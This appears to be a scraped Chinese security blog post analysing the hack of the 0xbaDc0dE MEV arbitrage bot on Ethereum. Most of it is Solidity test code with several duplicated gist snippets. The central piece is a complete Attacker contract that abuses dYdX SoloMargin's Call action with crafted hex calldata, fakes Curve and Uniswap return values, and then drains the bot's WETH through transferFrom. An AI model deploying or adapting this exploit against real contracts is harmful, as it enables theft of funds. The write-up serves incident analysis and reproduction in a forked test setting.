contract MyTest is Test {
function setUp() public {
vm.createSelectFork("mainnet", 15625424);
}
function testRead() public view {
for (uint i; i < 5; i++) {
bytes32 stVal = vm.load(0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A, bytes32(i));
console.logBytes32(stVal);
}
}
pragma solidity ^0.8.13;
interface SoloMargin {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (externally)
Sell, // sell an amount of some token (externally)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AccountInfo {
address owner;
uint256 number;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct Index {
uint96 borrow;
uint96 supply;
uint32 lastUpdate;
}
struct Rate {
uint256 value;
}
struct TotalPar {
uint128 borrow;
uint128 supply;
}
struct Wei {
bool sign; // true if positive
uint256 value;
}
function operate(
Account.Info[] calldata accounts,
ActionArgs[] calldata actions
) external;
}
library Account {
struct Info {
address owner;
uint256 number;
}
}
view raw0xbaDc0dE MEV Bot Hack Analysis 2.sol hosted with ❤ by GitHub
pragma solidity ^0.8.13;
interface SoloMargin {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (externally)
Sell, // sell an amount of some token (externally)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AccountInfo {
address owner;
uint256 number;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct Index {
uint96 borrow;
uint96 supply;
uint32 lastUpdate;
}
struct Rate {
uint256 value;
}
struct TotalPar {
uint128 borrow;
uint128 supply;
}
struct Wei {
bool sign; // true if positive
uint256 value;
}
function operate(
Account.Info[] calldata accounts,
ActionArgs[] calldata actions
) external;
}
library Account {
struct Info {
address owner;
uint256 number;
}
}
view raw0xbaDc0dE MEV Bot Hack Analysis 2.sol hosted with ❤ by GitHub
contract MEVBotAttackerTest is Test {
function setUp() public {
vm.createSelectFork("mainnet", 15625423);
}
function testAttack() public {
Attacker attacker = new Attacker();
attacker.attack();
}
}
view raw0xbaDc0dE MEV Bot Hack Analysis 4.sol hosted with ❤ by GitHub
-
WETH.allowance -
一个curve finance合约的exchange函数 -
USDT.allowance -
同样的Curve函数 -
USDC.allowance -
UniswapV2Router.swapExactTokensForTokens
-
WETH.allowance -
Balance Vault的swap函数 -
wstETH.unwarp -
stETH.allowance -
Curve Finance合约的exchange函数 -
WETH.transfer
function exchange(
address,
address _from,
address,
uint256,
uint256
) external view returns (uint) {
if (_from == address(WETH)) {
return 231461923843;
} else {
return 231447057390;
}
}
function swapExactTokensForTokens(
uint256,
uint256,
address[] calldata,
address,
uint256
) external pure returns (uint[] memory) {
uint[] memory val = new uint[](2);
val[0] = 231447057390;
val[1] = 172301645191573610409;
return val;
}
view raw0xbaDc0dE MEV Bot Hack Analysis 5.sol hosted with ❤ by GitHub
该exchange函数将被我们的攻击合约调用两次,一次用于_from == WETH,另一个用于 _from=USDT,所以我们在返回时进行区分。另外的事情是,我们只是返回与0x8e56事务上发生的实际调用返回的完全相同的值。
function attack() external {
console.log("Attacker balance: %s", WETH.balanceOf(msg.sender));
console.log("Bot balance: %s", WETH.balanceOf(mevBot));
console.log("Attacker allowance: %s", WETH.allowance(mevBot, address(this)));
Account.Info[] memory accounts = new Account.Info[](1);
accounts[0] = Account.Info({
owner: address(this),
number: 1
});
SoloMargin.ActionArgs[] memory actions = new SoloMargin.ActionArgs[](1);
actions[0] = SoloMargin.ActionArgs({
actionType: SoloMargin.ActionType.Call,
accountId: 0,
amount: SoloMargin.AssetAmount({
sign: false,
denomination: SoloMargin.AssetDenomination.Wei,
ref: SoloMargin.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0, // WETH market
secondaryMarketId: 0,
otherAddress: mevBot,
otherAccountId: 0,
data: _buildData()
});
solo.operate(accounts, actions);
console.log("Attacker allowance post operate: %s", WETH.allowance(mevBot, address(this)));
WETH.transferFrom(mevBot, address(this), WETH.balanceOf(mevBot));
console.log("Attacker balance post transfer: %s", WETH.balanceOf(address(this)));
console.log("Bot balance post transfer: %s", WETH.balanceOf(mevBot));
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/token/ERC20/ERC20.sol";
import "forge-std/console.sol";
import "./interfaces.sol";
contract Attacker {
SoloMargin solo = SoloMargin(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e);
ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address mevBot = 0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A;
function attack() external {
console.log("Attacker balance: %s", WETH.balanceOf(msg.sender));
console.log("Bot balance: %s", WETH.balanceOf(mevBot));
console.log("Attacker allowance: %s", WETH.allowance(mevBot, address(this)));
Account.Info[] memory accounts = new Account.Info[](1);
accounts[0] = Account.Info({
owner: address(this),
number: 1
});
SoloMargin.ActionArgs[] memory actions = new SoloMargin.ActionArgs[](1);
actions[0] = SoloMargin.ActionArgs({
actionType: SoloMargin.ActionType.Call,
accountId: 0,
amount: SoloMargin.AssetAmount({
sign: false,
denomination: SoloMargin.AssetDenomination.Wei,
ref: SoloMargin.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0, // WETH market
secondaryMarketId: 0,
otherAddress: mevBot,
otherAccountId: 0,
data: _buildData()
});
solo.operate(accounts, actions);
console.log("Attacker allowance post operate: %s", WETH.allowance(mevBot, address(this)));
WETH.transferFrom(mevBot, address(this), WETH.balanceOf(mevBot));
console.log("Attacker balance post transfer: %s", WETH.balanceOf(address(this)));
console.log("Bot balance post transfer: %s", WETH.balanceOf(mevBot));
}
function _buildData() internal view returns (bytes memory) {
return bytes.concat(
hex"00000000000000000000000000000000000000000000000000000000000000030000000000000000000000001e0447b19bb6ecfdae1e4ae1694b0c3659614e4e000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000094621152b94a12ee00000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000002e0000000000000000000000000000000000000000000000000000000000000056000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
bytes20(address(this)),
hex"000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000",
bytes20(address(this)),
hex"0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000a44798ce5b000000000000000000000000d51a44d3fae010294c616388b506acda1bfaae46000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
bytes20(address(this)),
hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000",
bytes20(address(this)),
hex"0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000a44798ce5b000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c7000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
bytes20(address(this)),
hex"000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000",
bytes20(address(this)),
hex"000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000000000000000010438ed17390000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000badc0defafcf6d4239bdf0b66da4d7bd36fcf05a000000000000000000000000000000000000000000000000000000009f6971520000000000000000000000000000000000000000000000000000000000000002000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002"
);
}
function exchange(
address,
address _from,
address,
uint256,
uint256
) external view returns (uint) {
if (_from == address(WETH)) {
return 231461923843;
} else {
return 231447057390;
}
}
function swapExactTokensForTokens(
uint256,
uint256,
address[] calldata,
address,
uint256
) external pure returns (uint[] memory) {
uint[] memory val = new uint[](2);
val[0] = 231447057390;
val[1] = 172301645191573610409;
return val;
}
}
view raw0xbaDc0dE MEV Bot Hack Analysis 7.sol hosted with ❤ by GitHub
原文
原文始发于微信公众号(山石网科安全技术研究院):0xbaDc0dE套利机器人攻击分析